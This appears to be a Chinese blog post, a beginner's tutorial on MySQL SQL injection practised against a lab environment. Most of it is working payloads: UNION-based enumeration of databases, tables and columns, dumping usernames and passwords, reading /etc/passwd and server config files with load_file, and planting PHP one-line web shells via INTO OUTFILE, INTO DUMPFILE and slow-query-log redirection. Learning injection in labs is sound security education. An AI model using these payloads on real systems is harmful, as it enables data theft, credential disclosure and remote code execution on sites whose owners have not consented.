sql注入基础(一)

SQL注入产生的根本条件:可控变量、特定函数

判读是否可以注入#

(1)判读参数类型

数字型 字符型 搜索型 加密型(base64) 表达型(json)

(2)判读是否有注入点

有多个参数请求时需要用手工测试判读注入点
方法: 在参数后面加' 页面有报错就证明说明后端对前端的数据输入没有很好的过滤,存在SQL注入漏洞 //无论字符型还是整型都会因为单引号个数不匹配而报错

mysql union联合注入(有回显):

1.利用order by判读当前表的字段个数

?id=1 order by 3 --+

//GET(url)用--+注释后面语句、POST用#或者--(空格),因为+在url中会转换(空格)

2.查看回显位于第几列

?id=-1 union select 1,2,3--+

//当id=-1时查询不到结果,结果就为空,所以就可以用union select对SQL语句拼接

3.利用mysql函数进行信息收集

?id=-1 union select 1,database(),@@version_compile_os--+

数据库版本---version()
数据库名称---database()
数据库用户---user()
操作系统---@@version_compile_os

4.在information_schema中查询所有数据库名

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

知识点:select <字段> from <表名> where <查询条件>

information_schema 表特性,记录库名,表名,列名对应表
information_schema.schemata:记录所有数据库的表
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
table_schema:数据库名
Table_name:表名
Column_name:列名
guroup():显示所有的内容,并以,分开

5.查询指定数据库名下的表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"

//Information_schema.tables后面的tables是复数有个s

6.查询指定表下的列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and  table_name="users"

7.查看指定列下的数据

?id=-1 union select 1,group_concat(username),group_concat(password) from security.users

mysql 文件读写注入:

//需要mysql需要开启secure_file_priv参数

(1)利用load_file()函数读取文件

方法:

?id=-1 union select 1,2,load_file("/etc/passwd")
?id=-1 union select 1,2,load_file("D:/phpStudy2018/PHPTutorial/Apache/conf/httpd.conf")

//路径用的斜杠是/,而不是\;文件大小小于max_sllowed_packet;File_priv为yes(拥有FILE权限)
//获取路径方法:phpinfo.php、字典、报错

(2)利用into outfile()函数写入文件

方法:

?id=-1 union select 1,"<?php @eval($_POST['pass']);phpinfo();?>",3 into outfile 'D:/phpstudy_pro/WWW/sqli/Less-2/1.php' --+
?id=-1 union select 1,"<?php @eval($_POST['pass']);phpinfo();?>",3 into dumpfile 'D:/phpstudy_pro/WWW/sqli/Less-2/1.php' --+

//写入内容需要用"(双引号)而不是用'(单引号)
// outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出,会在行末端写入新行,一般情况用outfile函数
// dumpfile只能写一行,并且输出中不存在任何格式,写入二进制可执行文件进行udf提权的时候,用dumpfile函数

如果secure_file_priv有限制,则需要借助phpmyadmin或者直连对方数据库进行绕过
也可以用SQL语句对日志文件进行写入一句话木马

set global slow_query_log=1;						                //开启
set global slow_query_log_file='D:/phpstudy_pro/WWW/phpMyAdmin4.8.5/555.php';		//设置日志文件路径
select '<?php eval($_GET[A])?>' or SLEEP(1);
posted @ 2022-12-28 17:18  bcxc9405  阅读(61)  评论(0编辑  收藏  举报
/*
*/